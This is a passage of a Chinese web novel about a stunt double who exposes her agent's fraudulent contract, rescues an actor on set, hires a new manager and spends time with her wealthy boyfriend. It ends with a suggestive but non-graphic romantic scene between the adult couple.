囫囵翻完所有页码,他气得将合同直接甩到张彪脸上,怒不可遏地质问:“这是你们之前骗云媞签的?太恶劣了!等着,我要把你们全部告到倾家荡产蹲局子!” 听到有关云媞,班列也骤然打起精神。 张彪慌乱抱住合同,低头看了起来。 上面白底黑字写着一条又一条不平等条约。 乙方云媞需做两年跟组武替,任甲方差遣,其本人能拿到手的报偿微乎其微,但违约金竟高达五亿。 而距离合同到期,还剩五个月。 第64章 在云媞的记忆里,对这份“天价合同”没有太深的印象。 说明,她并没意识到那笔巨额违约金。 正相反,记忆里那个叫做阿亮哥的经纪人,似乎在工作和生活上都对她颇加照拂。 是他带云媞入行,花钱请业内资深武术指导老师教她基本功,陪她一步步进阶为金牌武替。 他们刚开始达成合作意向时,的确签订过一份合同,但云媞出于对他的绝对信任,没有咨询过其他人,便直接签了字。 在原主云媞看来,她只是在阿亮哥手下打工,不用自己到处奔忙找剧组资源,每月还可以拿稳定工资。 事实也的确如此,只需再忍五个月,合同顺利到期,就能领一笔对原主来说数额不小的几万元奖金。 但所有前提都基于,不会有意外事故发生。 原主还算幸运,除了全年无休连轴转跑组、身体辛苦了些,小伤不断大事暂无。一旦遇到不负责的剧组,出了事,她恐怕得掉入万丈深渊。 …… 《生存者游戏》节目组的冠军奖金还未到账,云媞当下也无所事事。 她突然对曾经欺辱过原主的那些人,产生一丝好奇。 究竟是什么样的人,能一而再再而三,对一个刚满十八岁出来闯荡社会的小女孩如此恶劣。 阿亮哥的催开工电话和短信、旧相识导演们毫不客气的召唤以及大大小小剧组抛出的橄榄枝,从云媞将手机开机后,几乎就没断过。 有人急着见她。 那的确得见见,才符合人类社交的礼仪啊- 摆脱黎星言和班列后,云媞单独去见了阿亮哥。 与他做的歹毒事不同。 阿亮哥的形象其实还算儒雅,个子中等偏上,皮肤偏白,身材匀称,三十五岁的年纪看起来也不显老。 戴着一副无框眼镜,嘴角笑意嫣然,的确是很容易取得小姑娘信任的长相。 云媞在默默观察阿亮哥的同时,曲亮也在暗中重新打量眼前的女孩。 明明长相并没有太大变化,可给人的感觉截然不同。 以前面黄肌瘦甚至有些偏黑的皮肤,现在只觉健康紧致且极具魅力。 那双曾经看来阴暗无神的眼睛,大得骇人,可现在,她只是淡淡将目光移过来一寸,便足够勾魂动魄、令人沉沦。 虽然还没开口说一句话,但从前的她站在面前就让人觉得沉闷无趣,没有想要交谈的欲望。 可现在,她不说话,只会惹得人抓心挠 肝,想要使出浑身解数、求她对自己说上一句话,哪怕是骂人的话。 更重要的是…… 以前怎么从来没发现,这丫头身材这么好。 曲亮眯起眼,突然有些舌干口燥。 “媞媞,我也听说了你的事情,”他随手端起水杯喝了一口,笑得随和,“原来失联两个多月是去参加比赛了呀,还很给我们武替争气,夺了冠。” “刚联系不上你的那几天,我还以为你出啥事了,吓得差点报警……” 云媞睨了他一眼,“那你报了吗?” 他敢报吗?合同的事,摆明了是看准小姑娘涉世未深、无依无靠、性格又胆小怕事。 一旦被戳破,即使法律上占理,道德上也要遭万人唾弃。 曲亮喉头一哽,“正要报呢,这不,其他人就跟我说了你的情况嘛。” 他无奈摆手,装得好心:“这段时间有好几个剧组点你,都是我低声下气跟别人解释,保证等你回来了一定进组……这些你都不知道吧……” “那我肯定不知道啊,荒岛又没网,”云媞理所当然地说,“不过,现在你说了这么多,我想不知道也难。” 豹豹听不懂狡猾人类的话外音,所以最会噎死人不偿命。 曲亮一面觉得云媞和以前温吞怯弱的性格不一样了,一面又无可救药地欣赏她现在的张牙舞爪。 他当然不会意识到云媞已经变了一个人,只当是她在求生综艺中磨砺心性、变得成熟了些。 “媞媞以后还有做武替的打算吗?你这么好的苗子,唉,要是走了还真挺可惜的……” “可惜什么?又没走,毕竟是五亿违约金啊,我得再得四个冠军才赔得起。” 云媞学着对面人,露出和善的笑容。 曲亮却被她这副皮笑肉不笑的模样,吓得浑身寒毛倒竖,忙打着哈哈将这个话题揭了过去。 …… 在曲亮的安排下,云媞进到一个S+悬疑刑侦剧组《迷踪》当女主武替。 武替不需要像正式演员那样培养感情,拿到自己的剧本后,即上即用即拍,工具导向明显。 但云媞上戏这天,几乎是整个剧组人最齐的一天。 连本没有戏的男配女配都来了。 只为一睹云媞本人的真容。 某废弃工厂烂尾楼,实景拍摄。 因意外介入凶杀现场而被列为嫌疑人的女主,为尽早洗清自身嫌疑,决定暗中追踪杀人犯。 终于,在一处烂尾楼,女主与男主饰演的高智商变态杀人狂进行了第一次正面交锋。 云媞需要做的是在烂尾楼楼顶,进行一场酣畅淋漓的跑酷。 户外拍摄不同于棚拍绿幕,能做的保护措施极少。 与副导演对好走位后,没有任何顾虑或意见,云媞直接打手势开拍。 多机位监视大屏后,导演和一众“美其名曰学习”的演员们屏住呼吸。 云媞沿用了女主此前的妆造,身着灰色连帽卫衣,头戴一顶黑色鸭舌帽,外面还套着卫衣的连帽,侧身看不清正脸。 只见她身手矫健,从二楼外墙徒手攀爬到三楼天台,撑着破旧木桌跳到围栏上,动作轻盈地越过层层障碍。 最后在这座楼跳到另一个平台前,腾空发力、一跃而起,径直跨过楼宇之间一米多宽的间隙。 泄力之前,云媞行云流水地就地翻滚一圈,以一个干净利落的背影,完成所有武替镜头。 大场景航拍镜头拍完,同样的流程又来了两三遍,高效拍完特写等不同景别的衔接镜头后,这一部分便完美结束。 下场时,那些惊险的跑酷镜头没让云媞流下一滴汗,一众欢呼声倒把她吓得愣在原地。 统筹给她递来毛巾和瓶装水,几个特地赶来“追星”的主演们围着要加联系方式。 就连正在做妆发、等待进场的老戏骨,也从包里掏出一个花花绿绿的笔记本,笑着问她:“媞姐,可以帮忙签个名吗?我家那小孙女最近特别喜欢你。” 不管看没看过那档求生综艺,大多数人至少都对“媞姐”这个名字略有耳闻。 年轻群体,特别是初高中学生,钟爱中二热血、逆风翻盘的个人英雄主义式情节,而云媞则完美契合了他们的想象。 再加上网上直播切片火爆,二创热血向剪辑视频流传范围极广,所以,云媞当下可谓实打实的全国爆红。 不过,她对这些没有太大实感。 别人只是要签名合照,又不是要钱或抢她食物,给就是了。 在无数个笔记本、手机壳、衣服上,歪歪扭扭写下自己的小学生签名体后,云媞终于吃上了剧组盒饭。 四荤一素一汤。 和正式演员吃的一样,甚至还多了一荤。 当然,这是云媞的“迷妹”选角导演小平特地叮嘱生活制片加的餐。 见她吃得大口朵颐,小平也忍不住弯起眉眼。 她默默端着饭,蹲到云媞身边,“怎么样?好吃吗?” 小平对云媞如此上心,除了因为追完了那档综艺之外,还有一个原因是:她是自己好不容易求来的武替演员。 所有此前跟云媞合作过的剧组,几乎没人觉得她会继续当武替。 以她现在的名气,做个特邀配角都绰绰有余。 但曲亮在她还没回国之前,就已放出话,表示云媞还在自己手下,可以继续约档期。 小平曾经和曲亮打过交道,当即定下云媞,以导演组能给出的最高诚意和片酬,终于敲定这次合作。 “全包十万?”云媞咀嚼的腮帮子一顿。 “当、当然跟冠军奖金不能比啦,不过一般即使是长期跟组的武替,在业内价也给不到这么多……”小平以为她嫌价太低。 谁知,女孩径直掏出手机,“加个联系方式吧,以后有活直接找我就可以了。” “啊?”小平惊得舌头都不利索了,“你不是在阿亮哥手下……” 她想过不走中介,但曲亮信誓旦旦说,云媞只听他的话,所有工作合作都需经过他的把关。 云媞摇摇头,冁然一笑,“没关系,我马上就要把他踢了。” 两人愉快地互换了联系方式。 …… 剧组吃饭时间不定,一般是一批一批地订盒饭。 而云媞属于早拍完早吃的那一批。 她和其他工作人员以及群演,坐在烂尾楼的二层吃饭,这里凉快。 导演还有刚到的男主演,仍在三楼顶层进行拍摄。 小平一边吃,一边听楼上的动静。 “看样子,应该拍到变态杀人狂男主打算继续作案时,被一路追来的天降正义女主打断,男主不想暴露身份,于是沿着外墙爬下楼……” 这是一段惊险刺激的交锋场景。 不过男主只需要演完变态阴郁的人格剖析镜头,安全系数极高。 像云媞那种跑酷下楼的片段,交给男方武替即可。 小平快速扒了几口饭,收拾好自己的垃圾,“媞,我先去工作了哈。” 云媞点头,正要跟着一起。 突然,耳尖 微动。 轻薄的木质踏板被踩空的细微异动,在楼上响起。 紧接着是数道尖叫声,“啊啊啊路老师!” 饰演男主的路之舟在换武替上场时,竟踩到地上的做旧道具,不慎滑倒,直直地从低矮的天台围栏边翻了下去。 一切快到大家来不及反应。 电光火石间,云媞已经辨别出路之舟摔落的方位。 她闪电般移到二层边缘,只抬头瞟了一眼,当机立断一手抱住外置管道,另一只手奋力探出去。 下一秒,衣角从眼前闪过。 云媞精准无误地攥紧路之舟的后衣领。 对方回头时那个惊恐又脆弱的眼神,竟无端让她想起了黎星言。 云媞心下一紧,拎着他的衣领,奋力甩进二楼平台。 第65章 半晌,路之舟仍处于惊魂未定的状态。 周边的工作人员,还有迅速从楼上赶下来的导演组,一哄而上,围在他身周询问身体状况。 透过影影绰绰的人群,路之舟迷茫抬头,试图寻找刚才救下自己的人。 但对方已经不见踪影。 “刚才救我的,是谁?” 助理正在帮他处理手臂擦伤,听到询问,同样一脸茫然。 “是云媞!咱们剧组的武替。她今天的戏份结束了,估计这会儿已经走了……” 小平和其他人七嘴八舌应和道。 “女生?” “云媞”这个名字有些耳熟,但路之舟一时也想不起来在哪里听到过。 不过,救他的是个女孩,这件事更令他难以置信。 压下心中的疑虑,路之舟摆了摆手,心情不佳地闭上眼,示意自己想要安静一下。 他现在是全剧组最宝贝的金饽饽,要真出了事,千万粉丝能直接把剧组铲平。 导演只觉后怕,当即宣布今天拍摄暂停。 除了勒令加强演员的防护措施以外,导演恨不得马上抓来云媞,在她面前磕一个响头。 网络时代,没有不透风的消息。 “路之舟在片场从三楼摔下”这件事,当晚便上了热搜,两三个词条悬挂榜首。 现场视频被吃瓜网友们疯传。 应该是粉丝从对面楼用手机拍的,画质有些模糊,只拍到路之舟在天台走戏,然后翻落的惊险一幕。 大批粉丝和路人,纷纷攻占评论区。 在“心疼哥哥”和“狗比垃圾剧组祭天”中反复横跳。 官博很快做出情况说明。 路之舟方一直保持沉默,没有及时回应。 当然,这也是娱乐圈明星用来“维持热度”“虐粉固粉”“炒作新剧”的一大策略。 …… 外面腥风血雨,不爱上网的云媞岁月静好。 回到出租屋时,天色还早,班列也不在。 这小子早上被云媞支开后,决定奋发图强,紧跟姐姐步伐。于是,也独自跑到影视城找武替机会去了。 还有“荒原求生小队”的群聊,几小时不看,就变成了99+的未读消息。 每个人都在分享自己的生活,看样子很是充实。 云媞只看,懒得回。 大家也了解她,排着队形刷屏:“媞姐,我们知道你在视奸,有本事你开麦说句话啊。” 明娇娇就很聪明了,不仅在群里刷,还要缠着云媞私聊,总是在问“什么时候出去逛街约饭呀”。 明明分开才两天不到。 那边越是热闹,越显得黎星言安静。 稀奇,小少爷竟一天都没有发消息。 云媞当即一个电话打过去。 十几秒后,对方才接通。 双方都没有说话。 只听到黎星言那边隐隐有翻书的声音,半晌,他哼了一声,“怎么?终于想起我了?我今天一天都很忙的……” 早上黎星言本打算同云媞一道,好好教训一番那群社会渣滓,但恰好接到陆景天的电话催他去集团。 想也没想正欲拒绝,云媞却拦下他,严肃地问:“你没有自己的事要做吗?” 这句话把黎小少爷伤得够呛。 说得他像个无业游民似的,成天就知道跟在女孩屁股后面晃悠的废材富二代。 实际上,黎星言正值暑假,假期三个月。满打满算二十天不到,他就要返校了。 所以他才想抓紧一切时间,和云媞尽可能地待在一起。 不过没等解释清楚这些,她便头也不回地跟着彪子走了。 想到这里,黎星言还在暗自怄气。 云媞没意识到自己把人惹生气了,她“哦”了一声,“好吧,你没空帮我搬东西的话,那就先不去你家了……” 话音未落,电话那头传来一声巨响,似乎是厚书砸到了地上。 紧接着是黎少爷急不可耐的回应:“谁、谁说我没空了!全世界最闲的就是我!等着,马上到!” 隔着网线,黎星言还能假装硬气,忍着躁动和云媞置气。 一见面,那张冷脸装不了三秒,立马又翘起嘴角。 “媞媞……其实我今天一天都好想你,根本没办法沉下心来,做自己的事……” 说好了要让媞媞意识到自己的错误,可最先滑跪的还是他自己。 豹豹有什么错呢!把宝贵的时间放在生闷气上,才是他最大的过错! 车内。 在黎星言委屈巴巴的解释下,云媞才意识到自己无形中,伤害了一个文艺男敏感脆弱的心灵。 “对不起,我以后不会说那种话了。” 她一向敢作敢当。 为表示歉意,云媞直接捧着黎星言热腾腾的脸蛋,吧唧亲了一口,“原谅我吧,好吗?” 透过车内后视镜,陈叔眼底的笑意愈发浓烈。 总算知道,什么人能治黎少爷了,这不得拿捏得死死的。 他默不作声升起后排挡板。 小情侣互咬耳朵的窸窣声,彻底被隔绝在那层单向玻璃内- 回到别墅。 云媞先去见了爆爆和小黑。 两天不到,一猴一蛇圆润不少,显然伙食不错。 两个黏人的小家伙在云媞身上蹭了半天,又雨露均沾地贴贴黎星言。 它们俨然已经明白,这个家里,谁才是它们的卑微铲屎官。 黎冉也抽空从剧组赶回来,陪云媞吃了一顿晚饭。 她没有特意说那些彰显地主之谊的客气话,反而平常的就像自己小女儿回家一样。 饭后,两人窝在沙发上说悄悄话。 “要是没有媞媞,那傻小子估计得被人耍得掉一层皮。” 黎冉笑得揶揄,但很是慨叹。 双手握住云媞的手背,她轻轻抚摸道:“无论如何,谢谢媞媞没有放弃他。” 黎冉指的是自己在雨林集合点,打给云媞的那通电话,拜托她“保护黎星言”。 尽管那时,云媞对黎星言并没有好脸色,但她还是出于承诺,完成了这项“任务”。 “更谢谢媞媞,也能回应他的真心。” 即使在外人眼里,黎星言有再多不是,但有一点绝不会作假,那就是他那颗赤诚之心。 黎冉甚至能够想象,这个死心眼的傻小子要是困在感情里找不到出口,该变得有多偏执颓废。 云媞想了想,认真地说:“黎星言很好。” 见黎冉笑得意味深长,她又坦然道:“你也很好。” “我很喜欢你们家。” 真诚是永远的必杀技,这下弄得黎冉也不好意思调侃小辈们的纯情爱恋了。 她哑然失笑,抱住云媞,“是咱们家。” * 第二天。 一亿奖金到账时,云媞正在跟组拍摄。 这是实打实的一亿元。 云媞此时还不太清楚,人类世界的金钱交易都需要交税。 所以并不知道本应缴纳出去的几千万税款,实际是黎小少爷私下出资找节目组补齐的。 他知道云媞喜欢钱,说一亿就是一亿,扣税后无法凑整的奖金,或许会让她不开心。 而黎星言最不愿看到的,就是云媞难过。 的确,要让云媞知道一亿奖金实际到手只有八千万,她能心疼地直接收回给叶玄许诺的“投资款”。 阴差阳错的,黎小少爷的钱最后进了叶玄的账。 看着银行卡里多出的一大串数目,云媞一整天心情都很不错。 而且她发现,她好像也开始喜欢上武替这份工作了。 能够释放自己无处安放的蓬勃能量,还不用像主演那样备受瞩目、被迫社交。 现在她不是为了温饱,而是为了真正的爱好,才选择待在剧组。 要知道,经常冷脸的漂亮女人突然变得爱笑起来,总会引起许多注目和猜测。 第四次不小心听到其他演员及工作人员的闲聊后,路之舟得出一个结论:他进组之后,云媞的性格也变得温和起来。 似乎为了求证这个说法,一向对女人不感兴趣的路之舟,竟然也开始暗中留意起她的动向。 她的武打水平很高 ,拼命的同时又显得不费吹灰之力。 她话不多,但时不时总会冒出几句冷幽默的句子。 她好像是个网红,作为武替,竟然还有很多粉丝特地追来求她签名合照。 …… 接下来的几天,路之舟总会忍不住在片场寻找她的踪影。有时听说她请假了,心情还会莫名失落。 她哪儿都很好。 但……她为什么不主动来找自己要电话呢? 她不是暗恋他吗?所以那天才会反应迅速、不顾一切地救他。 路之舟忍了又忍,不想自降身价找一个小小的武替询问联系方式。 他心想,这个女人不过是在欲擒故纵,总有一天会沉不住气、露出马脚,届时自己再顺势同意就好。 结果,等到云媞戏份结束,除了跟导演和小平打了声招呼之外,她便提前离开了剧组。 路之舟才恍然发觉,或许自己会错了意。 …… 跑组结束那天,是曲亮亲自来接的云媞。 他又接了一个新项目。 “这次合作的导演,许导,你也认识,是他点名要用你呢!” 想起刚到手的预支合作经费,曲亮笑得合不拢嘴,“虽然他们的规矩是先用后付,但媞媞你放心,这个剧组不差钱……” 只瞥了眼制作班底,云媞兀地笑了。 正愁没处寻,人就自己找上了门。 这位点名要用她的许导,正是曾经折磨过刚入行的小武替云媞的“真性情暴躁严导”。 “许导说了,要是你表现的好,说不定还能在剧组混个有台词的配角当当……” “什么叫表现好?”云媞偏头,“你应该知道,我跟他有过节。” 他当然知道,许彦青当着他的面掌掴云媞时,他连屁都不敢放一个。 曲亮嘴角嗫嚅,面色难堪地“嗐”了一声,摆手道:“小丫头还记仇呢?现在你名气大了,他肯定不敢像以前那样对待你了……” “原来,她受的那些苦难,你真的都清楚啊。” “她?谁?” 曲亮一脸懵地看向云媞。 对面车灯晃过来,她平静的脸上晦暗不明,那双漆黑的眸子也透出一股寒气。 “到此为止吧,欠你的也都还清了。” “你、你在说什么?” 曲亮不由打了个寒颤,“要不给你放几天假,先好好休息一下……” “休息”这个字眼,他从未对原主说过。 云媞曾经就像一只老黄牛,一刻不敢停歇地跑组,累倒了也只敢请半天假。 她感谢阿亮哥给自己的机会,但这种忠诚却成为人人都可以肆意压榨凌辱她的理由。 静静回望曲亮数秒,云媞晃了晃手腕。 在对方惊恐的眼神中,她单手撑起椅背,一脚将他连门带人踹出车外。 “前两年你从我这里克扣的工资,就当你给我出的武术报名费了,这次小平给的十万全包费用,还剩八万,一分钱都别想多拿,全部还给我。” 曲亮捂着灼痛的胸口,正要说话。 云媞居高临下地睨向他,一字一句地说:“天价合同的骗局,我知道,受害者不止我一个。” “进监狱还是还钱,你选。”—— 作者有话说:媞媞:三二一不说话?好,我帮你把两个都选了!先还钱再进监狱![愤怒][愤怒] 第66章 得知云媞飞踹曲亮的消息,黎星言比她还解气。 “这老登,早就该被暴打一顿了!” 曲亮专门蒙骗涉世未深或文化水平不高的底层跑组人签天价合同,方便自己压榨剥削他们以及最后敲诈一笔。 这件事是黎星言派人调查出来的,就等着云媞亲自出口恶气后,再用证据将老登送进监狱。 不过还有件事,黎星言放心不下。 媞媞想继续当武替,他双手双脚支持,那是她的爱好,自己没有立场阻碍她。 但黎星言想给云媞请个专业的经纪人和生活助理,她不太擅长处理人际关系,需要有人辅助。 “咱妈的传媒公司有业内最顶尖的经纪人,绝对不会像曲亮那老登夹带私货……” 尽管提了多次,云媞每次都以“不想有人一直跟着自己”为由拒绝,但没关系,黎小少爷最擅长的就是死皮赖脸、软磨硬泡。 这会,他再次提起时,云媞竟然说:“我有合适的人选。” …… 今天是贺君卓签约MCN公司后的第十场直播。 直播中,当其他主播再一次问出有关《生存者游戏》的内幕细节,并明里暗里引导贺君卓说出“黎小少爷的人格缺陷”时,他终于忍不住爆发了。 “你们都xx傻逼吧?整个公司有一正常人吗?我请问呢?” 贺君卓没关麦,直接在直播间里骂道:“我是不是早就说过了,黎星言和云媞人都特别好!你们想要我说出黎星言什么缺陷?人傻钱多、对人没有防备、心情好就撒钱?你踏马就差把嫉妒仇富写脸上了,要是黎少爷把钱扔脚上,估计你现在已经伸着大舌头跪舔了吧?!” “啊对对对我是跪舔了,我承认。你敢承认吗?阴沟里的老鼠们,很向往人家家境优渥家庭美满吧?所以只敢在鼠播间意淫别人的缺陷。我看你脑子缺挺大一坑的,拿着黑心钱治治你的脑残去吧!” “还有,不要再问我云媞和黎星言的八卦绯闻,我这边的建议是,你直接溜他们家里趴床底听听呢。看在共事几天的份上,友情提醒:媞姐耳朵很灵,千万别被她发现哦……” 贺君卓阴恻恻地笑了,直视镜头后的秃头老板,“只会蹭热度搞噱头的垃圾公司,等着倒闭吧。滚你丫的,老子不干了!” 当时骂得有多爽,直播间火得有多离谱,事后贺君卓赔得就有多惨。 黎星言曾送给他的那些金饰,基本被抵押了。 有一点肉疼,但不后悔。 本就不属于自己的财富,以另一种壮烈方式交出去而已。 再说,他当时参加综艺也是因为看不惯公司派系斗争,现在不过是重头再来罢了。 离开公司,贺君卓用自己的账号开了场直播,对这件事做出简要回应。 弹幕有人笑他:【你搁这儿兄弟情深,为了所谓义气赔得毛都不剩,人黎小少爷在豪门纸醉金迷,谁还记得你?】 【穷人最可悲的就是妄想和有钱人成兄弟,一厢情愿、自作多情。别人可能把你当兄弟吗?】 【确实冲动了啊小贺,应该趁自己现在热度还在,多直播几场赚个够。管那些呢,大不了不搭理不回应那些问题嘛,真没必要为了这个掀桌……】 【不是,我觉得最匪夷所思的是,卓哥你为啥要签公司啊,自己干直播自媒体不行吗,你不正好是学这个的吗?】 弹幕飞速跳转,贺君卓懒得看。 “对我而言,在荒岛的那几十天,是一段非常美妙且难忘的经历,足够支撑我往后的生活。大家也不用担心我,大不了像以前一样继续送外卖呗。” 贺君卓低着头,沉默数秒,“以后我不会再回应有关媞姐和言哥的任何问题,大家也请不要在我的直播间问了,我不想消费他们。” 在他低头的瞬间,直播间突然接连闪过几十个华丽的打赏特效。 应接不暇。 【卧槽卧槽!主包快别emo了!抬头看看!你兄弟姐妹们来给你撑场子了哇!】 【啊啊啊啊是娇娇!还有玄哥!哇塞哇塞黎小少 爷果然豪啊投那么多嘉年华!】 如有所感般,贺君卓看向屏幕。 最后一个特效,铺满整个页面。 是最“爱财”的云媞投来的。 下一秒,她的小窗消息弹了出来:「小贺,我缺个经纪人,你要来吗?」 半晌,贺君卓关掉直播。 揉了揉酸涩的眼睛,他一边抽泣,一边飞快打字:「有五险一金吗?云老板。」- 贺君卓是名牌大学编导专业毕业,在传媒行业算科班出身,但对于艺人经纪事业,显然隔行如隔山。 黎星言先找了自家公司的金牌经纪人带他。 他脑子聪明,处事细腻,很快便悟透了基本要领。 最重要的是,云媞已经习惯他的存在。 一句“信任”,也让贺君卓心甘情愿为她鞍前马后。 特别是在听说曲亮的事之后,中二少年的满腔热血简直达到了巅峰。 “媞姐,你放心!我不出一月就能把经纪人资格证考下来,半年带你深扎娱乐圈,两年成为炙手可热的影后视后!” 贺君卓说得激情澎湃,云媞听得昏昏欲睡。 “嗯嗯嗯,不要给自己太大压力了,对接简单工作、管好进账就行。我只是武替。” 云媞心道,也别给我太大压力,毕竟我已经是千万富翁了。 “武替咋了,多少国际武打巨星都是从武替做起的,我相信你可以的!” 新官上任三把火,贺君卓一天天有使不完的牛劲。 除了云媞的事业,他还“奶一送一”,同时也要兼顾班列。 班列最近被正剧导演看中,在反黑片里饰演一个无恶不作的□□打手。 导演直夸他,“你就是为这个角色而生!不需要刻意地去演,做你自己就足够出彩!” 又能打人,又能发疯,还有点阴郁病娇属性,甚至连那股混子气质也是浑然天成。 班列找到了自己的赛道,也在其他人的夸奖和鼓励中,意外收获某种身份认同。 戏内,他整天沉迷于在各个犯罪刑侦片剧组,本色出演混子流氓。戏外,依旧是那个超级姐控,赚到的钱全部上交给云媞。 但云媞和班列都不会谈合作,更看不懂合同,容易被人压价。 所以,贺君卓将做好他俩的全能奶妈。 用网友们的话来说,就是一个半路出家的新手经纪人,拉扯两个头脑简单四肢发达的顶流网红,在腥风血雨的娱乐圈相依为命。 有种随时散伙了反而对大家都好的苦命感。 * 经纪人的事圆满解决,云媞和班列各自奔赴片场,贺君卓外出谈合作。 此时,黎星言又成了最闲的人。 那些狐朋狗友从他刚回国时就开始约,黎星言没空搭理。 现在他们知道小少爷没几天又要返校了,发出最后通牒,“再不聚聚,那可就是没把我们当兄弟了啊。” 没辙,向云媞报备后,黎星言终于赴约。 芝盾私人顶级会所。 水晶灯低垂,暖光打在鎏金墙饰上,窗外整座城市的霓虹拖出碎钻般的光影。 钢琴声从顶楼飘下来,侍应生皮鞋踩过波斯地毯,像猫一样没声响。 壁炉里松木噼啪响,雪茄烟混着沉香在空气里打转。 许是在荒野待久了,陡然回到这种纸醉金迷的环境,黎星言竟感到一丝不自在。 “哟,黎少!可总算把您盼来了!” 见他露面,其他人都起身,笑着迎接。 有人往他身后望去,明知故问:“没把女朋友带来?” 黎星言没在朋友圈公开女友,但总暗搓搓地秀女孩的背影照片,当然,更多的是分享他学会的菜式糕点。 “小少爷现在是为爱洗手作羹汤咯,太贤惠了!看他发的那些美食照片,别说人女孩经不住诱惑,我都馋得不行!” “黎少,什么时候也能给我们尝个味儿?兄弟才是手足啊!” 嘴上这么恭维,实际没几个真认可。 别说第一阔少,就连普通男人都不会流连厨房,为了讨女人欢心而放低姿态。 黎星言不屑置辩,他随意坐下,嗤笑一声,“想吃找自家厨师做去,怎么?家里倒闭穷得揭不开锅了?跑我这儿要饭来了。” 戴白手套的侍应生托着瓷盘递来一支雪茄,黎星言摆手,示意不用剪口点火。 其他人没料到他今日火气这么大,一时面面相觑。 以前黎小少爷浑归浑,对朋友兄弟倒还算好脾气,经得起小打小闹的开玩笑。 现在只是调侃了几句他女朋友,竟直接翻脸不认人。 有聪明的,当即揭过这个话题,转而询问他俩的传奇爱情故事,虚心向黎星言讨教“追女孩的秘诀”。 很显然,说起这个黎星言就来劲儿了。 酒杯沿轻碰,杯口稍向外斜,不让液体相溅。 推杯换盏几个来回,差点冷掉的场子重新热起来。 路之舟坐在沙发角落默默听着,烈酒下肚好几杯,心中烦闷更甚。 他的女朋友似乎叫“titi”? 和那个武替的名字听起来有些相似。 但可想而知,黎少爷交往的不过是胭脂俗粉,怎么能和那个女孩相提并论。 思及此,路之舟忍不住又给自己的酒杯斟满。 身边人发现他的不对劲,“怎么了之舟?一个人坐在这儿喝闷酒。” 杯底砸在大理石桌面,发出嘭得一声脆响。 路之舟晃了晃昏沉沉的脑袋,郁闷地问:“你说,一个女孩明明暗恋你,但为什么总在你面前装作视而不见,也不主动来找你要联系方式?” “嚯,你也恋爱了?有喜欢的女孩子了?” “那还用说,欲擒故纵钓你呗,完了,看样子路哥上钩了……” 他们这个圈子里,或多或少都曾有过女伴,不过有的人或许只能称为玩伴,流连花丛中,片叶不沾身,少有洁身自好的,没有同时谈好几个都算品德高尚。 只有两个奇葩例外,一个是黎星言,还有一个就是路之舟。 路之舟出身豪门,却对演艺事业感兴趣,为此还和家里人闹得老死不相往来。或许是怕绯闻缠身,他不谈恋爱,对女人似乎也不感兴趣,其他二代都笑他“挺有艺德”。 至于黎星言,家庭和睦,父母恩爱,也养成他感情洁癖的性子,从不参加带女网红模特的局,见其他朋友左拥右抱也要踹人一脚,痛骂死渣男,因此常被人调侃有“处男情节”。 现在这俩都坠入爱河了,倒是稀奇。 黎星言对路之舟还算能另眼相看,此时见他为情所困、郁郁寡欢,也帮着出谋划策。 “你这样不行,喜欢就得主动,不主动就说明还不够喜欢。好女怕烈男,我女朋友也是我死缠烂打求来的呢!” 第67章 路之舟端起酒杯,犹豫片刻,没喝,“但明明是她喜欢我,为什么她……” “恕我直言,你应该是自作多情了。” 见路之舟脸色不佳,黎星言反倒乐了,“从你刚才的描述来看,人家不是装作视而不见,而是压根没把你放在眼里,哥们,多少有点自恋了哈。” 想到曾经同样自以为是的自己,黎星言突然有些惺惺相惜,他以过来人的身份叮嘱道:“与其胡思乱想,不如直截了当让对方明白你的心意,再犹豫不决,小心成了别人女朋友。” 路之舟沉默半晌,与黎星言隔空举杯,随后将杯中最后一口酒一饮而尽,“有道理,谢了。” 当晚,云媞收到一 条好友申请。 【陆上行舟】你好云媞,我是路之舟。 随手点了通过,云媞发了个问号:「你是?」 后来才想起来,这人是自己在烂尾楼片场救下的那个男一号。 两人有一搭没一搭聊了几句。 当然,多是路之舟在问云媞近况如何,她偶尔蹦两个字敷衍一下。 直到对方说:“有个不错的剧组缺武替,很适合你,如果有需要,可以介绍给你。” 云媞问了大致报价,的确很不错。 那边黎星言洗漱完,酒也基本醒了,偷偷溜进云媞房间时,她和路之舟也聊得差不多了。 「不说了,我男朋友洗完澡了。」 发完这句话,云媞将手机丢到一边。 望着白白净净、面色绯红的黎星言,她扬起嘴角,倚靠在床头,朝他招手,“过来。” 做作地扭捏几下,黎星言饿狼扑食般拱进云媞怀中,用毛绒绒的脑袋蹭来蹭去,“下次一定要去接我!没有女朋友接的男人,是没有地位的象征,媞宝宝,你也不想我被别人笑话吧……” “好,下次一定。” “还有,你要多查岗,在我和别人聚会时,多给我打电话,和我视频,让我发定位,催我早点回家……” 黎星言振振有词,“在人类世界,女朋友都要这样的,这是你爱我、在乎我的表现,同理,我如果对你这样,也是因为很爱很爱你……” 啊这样吗?听起来好麻烦,都没有自己的空间。 也许人类都是这样表达爱意的吧,豹豹媞不懂,只能不情不愿地点头。 知道媞媞不太适应,黎星言也不再步步紧逼。 他只是在给自己出国后查岗,提前打好预防针。不然,异国他乡独守空闺,还要被老婆骂“少管我”,这样的话,他真的会哭死。 亲亲云媞的脸蛋,黎星言覆在她耳边,红着脸说:“要不要我像上次那样……” 星月交辉,珠流璧转。 浮沉的热浪在空气中氤氲,一室旖旎。 低伏的黎小少爷抬起头,精致漂亮的眼眸蒙上一层潮气,俨然一副餍足的神色。 他的头发被抓得乱糟糟的,脖间布满可疑的牙印和勒痕,锻炼得当的白皙手臂也被磨得通红。 用指腹拭去臂上的透明粘液,再将舌尖的晶莹尽数吞下,黎星言缓缓挪到云媞身侧。 女孩呼吸轻盈,感知到他的靠近,她眯着眼,抬手揉了揉他的脑袋,指尖慢慢下移到颈上,“还疼吗?” 黎星言笑着摇头,将她鬓边浸湿的碎发拨到耳后,越看,身下那股躁动又隐隐有卷土重来之势。 情难自抑地吻了吻云媞的额头,黎星言朝她耳边吹了口气,黏黏糊糊地呢喃道:“喜欢。媞媞怎么对我,我都喜欢……” 男人会撒娇,女人魂会飘。 云媞倏地翻身,将他压到身下,恶狠狠地在他脖间又咬了一口。 直到身下人开始兴奋地发抖,她兀地笑了,像初次见面时那样,亡羊补牢地轻舔几下。 “原来,你就喜欢我对你这样呀……” 黎星言眨了眨亮晶晶的眼睛,没说话,只是红着耳根,扶住她的后腰往自己身上压。 小猫的爱是牙印和爪痕,但他的老婆是大猫,留下的痕迹越汹涌,越能代表她爱他。 怎么会觉得疼,他只会祈求更多。 缠绵折腾到后半夜,帮云媞擦拭干净后,黎星言快速冲了个澡。 